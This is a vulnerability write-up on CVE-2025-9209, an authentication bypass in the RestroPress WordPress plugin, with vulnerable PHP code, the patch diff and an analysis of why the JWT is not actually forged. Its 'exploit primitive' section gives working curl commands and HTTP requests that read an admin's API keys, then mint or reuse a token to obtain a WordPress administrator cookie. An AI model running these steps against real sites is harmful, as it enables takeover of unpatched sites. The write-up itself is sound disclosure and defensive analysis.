//nefariousplan

CVE-2025-9209: The RestroPress JWT Is Not Forged. The Plugin Signs It For You.

patterns

cve

proof of concept

The RestroPress WordPress plugin registers a REST route at /wp-json/rp/v1/auth and calls it authentication. The handler reads the Authorization header, stashes whatever value is there, and uses it as the HMAC key to sign a JWT. The JWT's user_id claim is copied from a query parameter or a header the same request supplies. Wordfence and NVD describe CVE-2025-9209 as "authentication bypass via forged JWT." No token is forged. The plugin signs what the caller asks it to sign, with whichever key the caller proposes, naming whichever user the caller wants to be.

The permission check is a feature flag

Here is the callback the REST route runs before handing the request to get_token:

public function get_auth_permissions_check( WP_REST_Request $request ) {
    // Initialize Api_key
    $api_key = null;
    // Initialize enable status
    $is_api_enabled = null;
    // Getting API key from  header
    $api_key = $request->get_header( 'authorization' );
    // Get API enable status
    $is_api_enabled = rpress_get_option( 'activate_api' );
    // Check if API not enabled | in true case return appropriate error message
    if ( ! $is_api_enabled ) {
        return new WP_Error( 'rest_forbidden', ..., array( 'status' => rest_authorization_required_code() ) );
    } else {
        $this->api_key = $api_key;
        return true;
    }
    return false;
}

Two things happen here. The gate checks whether the site administrator has toggled the activate_api option, which is a checkbox on the RestroPress settings page. That is a feature flag, not a caller attribute. The second thing is that the caller's Authorization header, whatever it contains, is stashed on the controller as $this->api_key. It will shortly become the HMAC key for a JWT.

The callback is named get_auth_permissions_check. WordPress core expects a function with that name to decide whether this caller is allowed to invoke this endpoint on behalf of some identity. This callback has a model of neither. It has a model of the feature toggle.

The signing key is whichever header the caller sent

get_token is the handler:

public function get_token( WP_REST_Request $request ): WP_REST_Response {
    $api_key  = $request->get_header( 'x-api-key' );
    $expire   = null;
    $token_id = base64_encode( random_bytes( 16 ) );
    $obj      = new DateTimeImmutable();
    // ...
    $server_name = $_SERVER['SERVER_NAME'];
    $data = array(
        'iat'  => $obj->getTimestamp(),
        'jti'  => $token_id,
        'iss'  => $server_name,
        'aud'  => $server_name,
        'nbf'  => $obj->getTimestamp(),
        'data' => array(
            'api_key' => $this->api_key,
            'user_id' => $request->get_header( 'x-user-id' ),
        ),
    );
    // ...
    $user_id = null;
    if ( ! is_null( $request->get_param( 'user_id' ) ) ) {
        $user_id                 = $request->get_param( 'user_id' );
        $data['data']['user_id'] = $user_id;
    }
    // ...
    $token = JWT::encode( $data, $this->api_key, 'HS512' );
    $this->response->set_status( 200 );
    $this->response->set_data( array( 'token' => $token ) );
    return $this->response;
}

The user_id claim in the payload is read from the x-user-id request header on line ten, and then overwritten on line seventeen with the user_id query parameter if one exists. Both sources are the caller. The HMAC signing key passed to JWT::encode is $this->api_key, which was written in the permissions callback from the caller's Authorization header.

One HTTP request. Every input variable is caller-supplied. The server generates a jti and stamps timestamps, and the rest comes from the wire. This is a caller-chosen key: a signing secret proposed by the entity being authenticated, used by the issuer to mint a credential that will later be presented back to the same issuer. The signature binds only that the caller could ask. The HMAC contributes zero authentication evidence, because the verifier accepts exactly the key the issuer was told to use. The structural shape is the HMAC cousin of nonce is not auth: a value the caller produced is treated as proof the caller is somebody, when all it proves is that the caller could produce the value.

The request that yields a valid JWT claiming administrator is this:

GET /wp-json/rp/v1/auth?user_id=1 HTTP/1.1
Host: target.example.com
Authorization: whatever-you-want

The response body is {"token":"eyJ0eXAi..."}. Base64-decode the middle segment and you find {"data":{"api_key":"whatever-you-want","user_id":"1"}, ...}, signed with HMAC-SHA512 over the literal bytes "whatever-you-want".

The gate is on a different endpoint

A bearer token is only a capability if something honors it. RestroPress honors tokens through RP_JWT_Verifier, which runs on any RP endpoint that requires authentication:

public function jwt_verify( WP_REST_Request $request ) {
    $token   = $request->get_header( 'authorization' );
    $api_key = $request->get_header( 'x-api-key' );
    if ( ! is_null( $token ) && preg_match( '/Bearer\s(\S+)/', $token, $matches ) && is_string( $api_key ) ) {
        try {
            $decoded = JWT::decode( $matches[1], new Key( $api_key, 'HS512' ) );
            return $this->checking_decoded_data( $decoded, $api_key );
        } catch ( Exception $exc ) { /* ... */ }
    }
    // ...
}

public function checking_user_id( int $user_ID, string $api_key ) {
    $private_key = get_user_meta( $user_ID, '_rp_api_user_private_key', true );
    $public_key  = get_user_meta( $user_ID, '_rp_api_user_public_key', true );
    if ( hash_equals( $api_key, $public_key ) ) {
        if ( password_verify( $user_ID, $private_key ) ) {
            if ( ! empty( get_current_user_id() ) && get_current_user_id() == $user_ID ) {
                return true;
            } else {
                return $this->checking_user( $user_ID );
            }
        }
    }
    // ...
}

public function checking_user( int $user_ID ) {
    $user = get_user_by( 'id', $user_ID );
    if ( $user instanceof WP_User ) {
        wp_set_current_user( $user->ID, $user->user_login );
        wp_set_auth_cookie( $user->ID );
        return true;
    }
    // ...
}

Two details matter.

First, the verifier reads the signing key from a different header than the issuer. The issuer wrote $this->api_key from Authorization; the verifier reads it from x-api-key. Same caller, two headers, one key. The code pretends the Authorization header is the "caller wants to issue" channel and the x-api-key header is the "caller wants to authenticate" channel. There is no such split. A single HTTP client can set both headers on a single request with no effort.

Second, the real gate is hash_equals( $api_key, $public_key ). The caller's x-api-key must match the value stored in the target user's _rp_api_user_public_key meta. Finally, an authentication check: the caller must know a per-user secret. If this check survives, the attacker cannot mint tokens for arbitrary users, because they cannot sign a JWT that will decode against the target's stored key.

Except the per-user secret is not a secret.

The key is published by the plugin through core WordPress

In Server.php, RestroPress registers three user meta keys for the REST API:

function register_user_meta_for_rest() {
    register_meta( 'user', '_rp_api_user_private_key',
        array( 'show_in_rest' => true, 'type' => 'string', ... ) );
    register_meta( 'user', '_rp_api_user_public_key',
        array( 'show_in_rest' => true, 'type' => 'string', ... ) );
    register_meta( 'user', '_rp_api_user_token_key',
        array( 'show_in_rest' => true, 'type' => 'string', ... ) );
}

With show_in_rest => true, these values are serialized into the meta field of user objects returned by /wp-json/wp/v2/users and /wp-json/wp/v2/users/<id>. Core WordPress returns user data to unauthenticated callers by default for any user who has published a post, which on most restaurant sites includes the administrator who authored the homepage.

GET /wp-json/wp/v2/users/1 HTTP/1.1
Host: target.example.com

The response, in part:

{
  "id": 1,
  "name": "admin",
  "meta": {
    "_rp_api_user_private_key": "$2y$10$...",
    "_rp_api_user_public_key": "9f5a...128 hex chars",
    "_rp_api_user_token_key": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9..."
  }
}

The attacker now holds the target's "public key," which is the HMAC key the issuer signs with and the HMAC key the verifier checks against. It is not a public key. It is a per-user shared secret, and it is served to anonymous GET requests, because the plugin told core WordPress to serve it.

The third meta value, _rp_api_user_token_key, is a previously issued JWT. On sites where api_expire is unset, the stored token has no exp claim and is valid indefinitely. The attacker does not have to mint a new token; they can use the one the administrator's own click generated the first time they enrolled the feature.

The private key is bcrypt of an integer

rp_generate_api_keys is how keys are enrolled in the first place:

function rp_generate_api_keys( int $user_ID ) {
    if ( true == filter_input( INPUT_POST, 'rp-generate-api-key' ) ) {
        $public_key  = hash( 'sha512', time() );
        $private_key = password_hash( $user_ID, null );
        rp_user_api_get_token( $private_key, $public_key, $user_ID );
    }
}

The "public key" is SHA-512 of the Unix timestamp at the moment the admin clicked the button. Knowing that moment to the second is enough to recompute it without any API call. A visible user_registered column, a plugin activation timestamp, a membership email receipt, any one of those narrows the window.

The "private key" is bcrypt of the user's numeric ID. User IDs are integers starting at 1. In the verifier:

if ( password_verify( $user_ID, $private_key ) ) {

This call compares the integer user_id against the stored bcrypt hash of that same integer. It passes for every legitimately enrolled user, because that is exactly what was stored. password_verify is performing a cryptographic integrity check on a value whose plaintext is the user_id being queried. The check contributes nothing to authentication. It is a ceremony: the shape of a private-key check with no secret inside.

The exploit primitive

# 1. Read the admin's keys from core WP REST.
curl -s "https://target.example.com/wp-json/wp/v2/users/1" | jq -r '.meta'
# Returns _rp_api_user_public_key and _rp_api_user_token_key.

# 2a. Reuse the stored token directly (no minting required):
curl -i "https://target.example.com/wp-json/rp/v1/orders" \
  -H "Authorization: Bearer $STORED_TOKEN" \
  -H "x-api-key: $STOLEN_PUBLIC_KEY"

# 2b. Or mint a fresh token for any user_id:
curl -s "https://target.example.com/wp-json/rp/v1/auth?user_id=1" \
  -H "Authorization: $STOLEN_PUBLIC_KEY"
# {"token":"eyJ..."}

curl -i "https://target.example.com/wp-json/rp/v1/orders" \
  -H "Authorization: Bearer $MINTED_TOKEN" \
  -H "x-api-key: $STOLEN_PUBLIC_KEY"

Inside the authenticated request, RP_JWT_Verifier decodes the token with the attacker's supplied key, confirms user_id is 1, reads the matching stored public_key, runs the password_verify ritual, and then calls:

wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID );

The response carries a Set-Cookie: wordpress_logged_in_* for user 1. From that cookie onward, the caller operates the whole site through wp-admin. Not RestroPress administration. WordPress administration.

What the patch actually changed

Version 3.2.2 rewrites get_auth_permissions_check and deletes register_user_meta_for_rest. Two fixes, because there are two bugs:

-		$api_key = null;
-		$is_api_enabled = null;
-		$api_key = $request->get_header( 'authorization' );
-		$is_api_enabled = rpress_get_option( 'activate_api' );
-		if ( ! $is_api_enabled ) {
-			return new WP_Error( 'rest_forbidden', ... );
-		} else {
-			$this->api_key = $api_key;
-			return true;
-		}
+		$api_key        = $this->get_request_api_key( $request );
+		$user_id        = $this->get_requested_user_id( $request );
+		$is_api_enabled = rpress_get_option( 'activate_api' );
+
+		if ( ! $is_api_enabled ) { return new WP_Error( ... ); }
+
+		if ( ! is_user_logged_in() ) {
+			return new WP_Error( 'rest_forbidden', 'You must be logged in to generate API tokens.', ... );
+		}
+
+		if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) {
+			return new WP_Error( 'rest_forbidden', 'You are not allowed to generate an API token for this user.', ... );
+		}
+
+		if ( empty( $api_key ) ) {
+			return new WP_Error( 'rest_forbidden', 'A valid API key is required to generate a token.', ... );
+		}
+
+		$this->api_key = $api_key;
+		return true;

Three checks the original callback did not have: the caller must be logged in, the caller must have edit_user capability for the requested user_id, and an API key must be present. The permission check is now a permission check.

The second half of the patch, in Server.php:

-		add_action( 'rest_api_init', array( $this, 'register_user_meta_for_rest' ), 10 );
-	}
-	function register_user_meta_for_rest() {
-		register_meta( 'user', '_rp_api_user_private_key', array( 'show_in_rest' => true, ... ) );
-		register_meta( 'user', '_rp_api_user_public_key',  array( 'show_in_rest' => true, ... ) );
-		register_meta( 'user', '_rp_api_user_token_key',   array( 'show_in_rest' => true, ... ) );
-	}

The meta registration is gone. The keys are still stored in user meta for the plugin's own use; they are no longer served through /wp-json/wp/v2/users.

Two independent bugs, two independent fixes. Either one in isolation leaves the other live: if only the permission check were fixed, the stored _rp_api_user_token_key would still be valid and still public; if only the meta exposure were closed, the issuing endpoint would still mint tokens for any user, signed with any key, and the only remaining barrier would be brute-forcing hash( 'sha512', time() ) around a plausible enrollment window.

The description has the wrong word

NVD says "forge JWT tokens." The Wordfence vulnerability entry title says "Authentication Bypass via Forged JWT." Neither is accurate.

A forged JWT is one whose signature the issuer did not authorize, or whose claims the issuer did not intend. Neither is true here. The plugin signed this token. The plugin's JWT::encode call ran at runtime, took a caller-supplied key and a caller-supplied user_id, produced a byte-exact valid HMAC over the caller's claims, and returned the result in a 200 response. The user_id claim was accepted because the endpoint's entire purpose is accepting a user_id claim from the caller. The signing key was accepted because the endpoint's entire purpose is accepting a signing key from the caller.

There is no forgery. There is a token factory that reads what the caller wants, signs it, and returns it. The authentication bypass is not a bypass, because the authentication check runs on a different endpoint, against a per-user secret the plugin serialized into core WordPress user responses for anonymous callers to read.

Two components. One issues tokens on demand. One checks tokens against a secret the plugin published. Together they compose a worked example of what happens when a plugin author designs every half of an authentication system with the other half in mind, and no adversary in mind.

PoC: projectdiscovery/nuclei-templates, CVE-2025-9209.yaml

The token is not forged. The plugin signs it, with a key the caller chose, for a user_id the caller named, against a "public key" the plugin handed to the caller through core WP REST.